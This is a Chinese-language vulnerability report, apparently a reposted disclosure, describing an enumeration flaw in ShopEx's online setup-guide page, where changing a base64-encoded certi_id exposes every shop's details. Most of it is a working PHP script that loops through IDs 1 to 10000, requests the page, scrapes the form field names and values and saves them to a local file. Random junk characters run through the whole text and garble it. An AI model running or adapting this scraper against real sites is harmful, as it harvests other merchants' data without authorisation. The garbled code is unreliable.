|
|
简要描述:
0 c9 O( [! z, ~8 X* }ShopEx某接口缺陷,可遍历所有网站$ Y, b X0 a. E
详细说明:
3 |9 \6 c, L$ i$ k5 `8 d6 b) X: _问题出现在shopex 网店使用向导页面
0 S' s! |8 ]7 U" c/ k7 e2 b1 H, J( p
& U3 E" H! N+ A
& T' R# f# V2 S8 m* J, f: f, O
http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
: |/ Y. E+ z5 ]
) r2 L' f: X; B$ K6 ^' j+ r# V3 l f9 B; [$ n' @+ L0 P( m
+ v+ p2 h+ g6 F4 S" p
refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}
' r* I, F7 O/ u3 ?5 \( E
* I2 J \4 \: G/ Z
) I- }* b% I, Q1 R3 J
' e) ^4 h1 w* {/ d( L我们修改certi_id 即可遍历所有使用了ShopEx程序的网站 2 z/ ?3 @1 L8 _
. B: g6 F% G2 L; l1 X9 |; W4 o5 k; H4 r5 H
+ K6 Z B* P9 E) B7 m, Z! V, z; I
<?php
, e( Z% y( d% x2 [4 R/ H. o/ b% ~" h% ?! m. u! F
for ($i=1; $i < 10000; $i++) { //遍历( O, y. m) e+ m; Y# O/ E
d; g3 B; r2 ?
ShowshopExD($i);0 y+ \6 ~2 g8 `" i6 G8 o9 ~( v+ a* b: k
5 k$ ~7 W* h: f: u: O
}
8 L g- b5 X8 s
3 M# B' V( T3 z6 |& y# f2 n& @. p function ShowshopExD($cid) {
) Z& ^5 ]1 w% k" s) M
) D& Q! |4 }( t1 _ $url='http://guide.ecos.shopex.cn/step2.php';* m: ?, w9 v g/ @
( b) Y, J7 l! e% a Z6 D* M ] $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
2 t' f; H4 X2 m3 O* g; }" @: R/ m, N: ~( j, g! h8 Y) I
$url = $url.'?refer='.$refer;- w2 i9 s6 z- W2 V
: y1 m( w$ M/ F3 L1 v4 e $ch = curl_init($url);; }7 B8 }7 n% @' V; ]* I8 A
; n4 t8 Z, z( _# g: M; x( x. |
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;" E# a. ~0 ~+ `" E& }
' i1 V- v* O" P: F5 g, o
curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;& r) E% b( Y& ? |
/ H% J% N& G8 A5 \% i) _" c7 f& f $result = curl_exec($ch);# n1 V7 B% U( F* [" y
( L$ k- x, O4 {3 ^2 I# k7 d- H8 X1 w $result = mb_convert_encoding($result, "gb2312", "UTF-8");
" w d6 V8 J6 g1 K3 {. G0 [! _1 c2 z/ `; D5 P% B
if(strpos($result,$refer))
+ G: Z. x J2 B9 g4 A/ g+ R, r, H' V! a+ m
{
- u2 R3 T. t; i+ q8 P" j, [
) k7 [, _. x0 ] $fp = fopen("c:/shopEx.txt",'ab'); //保存文件
, R/ E3 x+ o& B& B6 w( \' b! p+ u e- @' f4 u8 q' |
preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);
; x/ q6 Q3 ~/ b {& x3 X
& d6 B R+ v3 K% x7 l foreach ($value[1] as $key) {
+ s) L7 s D: `/ f5 ?+ F: M+ L( r! ?; J; x: d2 w3 `/ ?6 F# E. _; [
preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);7 E8 ?# g A; R l( p" v f
2 T$ M4 k& G. K0 j) O. @
echo $res[1][0].':'.$res[3][0]."\r\n"; V X" K. L8 V4 n* @: z1 W
: V& V" T' G/ ^( l* e5 p' } $col =$res[1][0].':'.$res[3][0]."\r\n"; 8 F6 e7 W! O$ _% m
* O2 B4 S" e1 w fwrite($fp, $col, strlen($col)); 2 G3 e* c0 w( Q7 Z, B) ^
* _% u4 w) h4 h6 u' J+ P* D' a
}
1 v w7 h# A5 i& C/ l
0 E1 d; }/ `7 T# G echo '--------------------------------'."\r\n";
* D7 [- \, X* ?$ c* {- c# S: r7 m; H* s% `) t* Y) E% {( ~+ l
fclose($fp); $ h* M1 P [( d0 ?4 a: ?
( V: `- O5 U* @ W: V& b1 ^8 F
}, w( d8 J) E( p, `
$ _7 Z! y1 k$ Z2 d) f# x flush();- i2 G; h; e) d% H) e. x
" x3 c4 C- l0 [+ ?& l7 c
curl_close($ch);
: o- @/ H7 J3 Y+ ^
3 D5 d9 f2 e7 c% K }
( a0 L! Q7 N ^* t+ w, l' O: w0 v" A" ?( Z: }: Q% C2 S6 r N& w
?>
- j! R5 W( S! b) W ^漏洞证明:
0 ?* Z1 L4 w% j4 ^. whttp://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg. Z6 K% G H& M5 l/ m [
refer换成其他加密方式2 R3 C' O( E% J: Y7 |( W
|
|